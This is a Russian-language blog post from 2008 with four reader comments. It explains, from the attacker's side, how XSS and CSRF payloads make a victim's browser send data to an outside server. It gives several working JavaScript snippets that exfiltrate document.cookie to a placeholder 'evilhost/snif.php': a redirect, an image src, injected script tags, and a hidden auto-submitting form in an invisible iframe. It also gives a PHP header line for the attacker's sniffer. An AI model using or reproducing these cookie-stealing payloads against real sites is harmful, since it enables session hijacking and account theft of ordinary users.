HTML & JS: взаимодействие с удаленным сервером

Сегодня я хотел бы рассмотреть существующие методы для обращения клиента через браузер к стороннему серверу. Для чего это нужно злоумышленникам? Все очень просто: для реализации атак вида XSS (Cross Site Scripting) и CSRF (Cross Site Request Frogery). В большинстве случаев хакеру требуется сделать GET-запрос к своему серверу; как правило, это достигается путем использования двух основных приемов:

  1. перенаправление с помощью location.replace()
    document.location.replace("http://evilhost/snif.php?c="+document.cookie);
  2. динамическое создание или вставка тэгов, имеющих аттрибуты src или background; при этом источником этих элементов является сервер злоумышленника. Это могут быть тэги img, iframe, frame, script, link, table и многие другие.
    var img = new Image(); // создаем объект Image
    img.src = "http://ourhost/snif.php?c="+document.cookie; // устанавливаем свойство src
    
    document.getElementsByTagName('body')[0].innerHTML += '<script id=sc></script>';
    // выбираем тэг body и дописываем в него <script>
    document.getElementById('sc').src = 'http://evilhost/snif.php?c='+document.cookie;
    // находим наш script и устанавливаем свойство src
    
    var sc=document.createElement('script');
    // создаем элемент script
    sc.src='http://evilhost/snif.php?c='+document.cookie;
    // устанавливаем свойство src
    var body=document.getElementsByTagName('body')[0].appendChild(sc);
    // присоединяем наш элемент к body
    

Стоит отметить, что метод с перенаправлением, как правило, используется только при пассивных XSS, а остальные способы обычно находят применение при CSRF и активных XSS.
Вариантов осуществления POST-запросов гораздо меньше, а точнее всего один =) Делается это с помощью отправки данных с формы на наш сервер:

<iframe width=0 height=0 id=lol name=lol></iframe>
// создаем невидимый iframe для того, чтобы отправка формы не вызывала перезагрузку страницы
<form name=myform method=post target=lol>
// создаем форму, в которой target - это наш iframe
<input type=hidden name=c>
// здесь любые данные, в данном случае cookie
</form>
<script>
// теперь очередь js
document.myform.action='http://evilhost/snif.php';
// устанваливаем action на наш сервер
document.myform.c.value=document.cookie;
// записываем в hidden-поле данные cookie пользователя
document.myform.submit();
// отправляем форму
</script>

А как же AJAX? Ведь для злоумышленника это поистине уникальное средство, позволяющее делать произвольные запросы, включая HEAD, TRACE, PUT, DELETE и другие. Но, к сожалению (или к счастью), воспользоваться данным средством в полной мере в настоящее время нельзя. Дело в том, что модель безопасности разных браузеров не является одинаковой, все они по-разному относятся к запросам, осуществляемых объектом XMLHTTPResponse. Методы, описанные выше, напротив, являются практически универсальными; они зависят лишь от частных случаев (блокировка iframe’ов firewall’ами, запрет загрузки картинок у конкретного пользователя и т.д.). Посмотрим как реагируют различные браузеры на удаленные запросы посредством AJAX.

  • Internet Explorer 6

    При попытке отправки запроса на удаленный сервер IE предупреждает пользователя, однако, если действие будет разрешено, запрос осуществится:

  • FireFox 2

    Модель защиты браузера FireFox основана на понятии привилегий. Чтобы выполнить действие, код приложения должен запросить соответствующие привилегии. Привилегиями управляет объект netscape.security.PrivilegeManager. Если мы хотим, чтобы клиентская программа Ajax взаимодействовала с удаленным сервером, нам надо сначала организовать обращение в PrivilegeManager. В противном случае возникает следующее сообщение:

  • Opera

    Модель безопасности Оперы для меня пока что загадка, однако очевидно лишь одно: удаленные запросы этот браузер запрещает:

  • Неужели с помощью AJAX невозможно обратиться к удаленному серверу? На самом деле можно, только одним аяксом здесь не обойтись. Для такой цели разработчики используют шлюзы (или гейты, если Вам так больше нравится), которые расположены в пределах того же домена, что и AJAX-приложения. При обращении к шлюзу тот отправляет запрос на удаленный сервер и возвращает результат браузеру клиента. Однако о таком способе в условиях XSS или CSRF нам приходится только мечтать.

    Совсем недавно хорошие новости пришли от разработчиков FireFox 3: они собираются добавить в объект XMLHTTPResponse возможность междоменных вызовов! Единственное ограничение, которое будет накладываться на эти запросы, заключается в том, что сервер, к которому обращается клиент через браузер, должен их разрешать, указывая в ответе специальный заголовок:

    Access-Control: allow <*>

    В случае с XSS передать такой заголовок элементарно, просто добавляем в наш сниффер следующую строку кода:

    <?php 
    header('Access-Control: allow <*>'); 
    ?>

    Лично мне кажется, что в будущем для хакеров это откроет новые возможности в плане реализации не только XSS, но и CSRF; браузерные черви и трояны выйдут на качественно новый уровень.


4 комментария

  1. c0nst, 19. мая 2008, 21:08

    > они собираются добавить в объект XMLHTTPResponse возможность междоменных вызовов!
    а зачем? если это не безопасно в некоторых случаях

     
  2. Pento, 19. мая 2008, 21:42

    Интересный пост

     
  3. Raz0r, 20. мая 2008, 15:04

    >а зачем? если это не безопасно в некоторых случаях
    я как раз эту мысль и хотел выразить в посте )

     
  4. Wind, 9. июня 2008, 10:58

    Четко и толково все расписано! Спасибо давно искал инфу о кроссдоменных вызовах

     

Write a comment: